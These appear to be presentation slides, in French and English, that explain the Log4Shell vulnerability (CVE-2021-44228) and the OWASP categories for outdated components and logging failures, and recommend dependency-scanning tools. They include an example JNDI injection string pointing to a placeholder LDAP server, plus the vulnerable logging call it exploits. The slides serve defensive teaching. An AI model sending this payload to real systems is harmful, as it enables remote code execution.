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CVE-2021-44228, … in a nutshell…

- RCE ⇒ Critical
- Envoyer un message du type ${jndi:ldap://serveur/message}
- Capturer le message dans les logs: logger.info("Message reçu " + msg);
- Déclenche un appel vers le serveur LDAP
- Récupération du payload



CVE-2021-44228, … in a nutshell…



A06:2021 – Vulnerable and Outdated Components

Description

- You are likely vulnerable:
- If the software is vulnerable, unsupported, or out of date. This includes the OS, 

web/application server, database management system (DBMS), applications, APIs and all 
components, runtime environments, and libraries.

How to prevent

- Scan for vulnerable dependencies



A09:2021 – Security Logging and Monitoring Failures

Description

- Penetration testing and scans by dynamic application security testing (DAST) 
tools (such as OWASP ZAP) do not trigger alerts.

How to prevent

- Ensure log data is encoded correctly to prevent injections or attacks on the 
logging or monitoring systems



OWASP Tools that already exist

- Software Bill of Materials : Dependency Track

⇒ List/Get alarm for each application which include a vulnerable version 

of Log4j 

- Software Composition Analysis (SCA) : Dependency Check

⇒ Ensure that you don’t include a vulnerable dependency in your code
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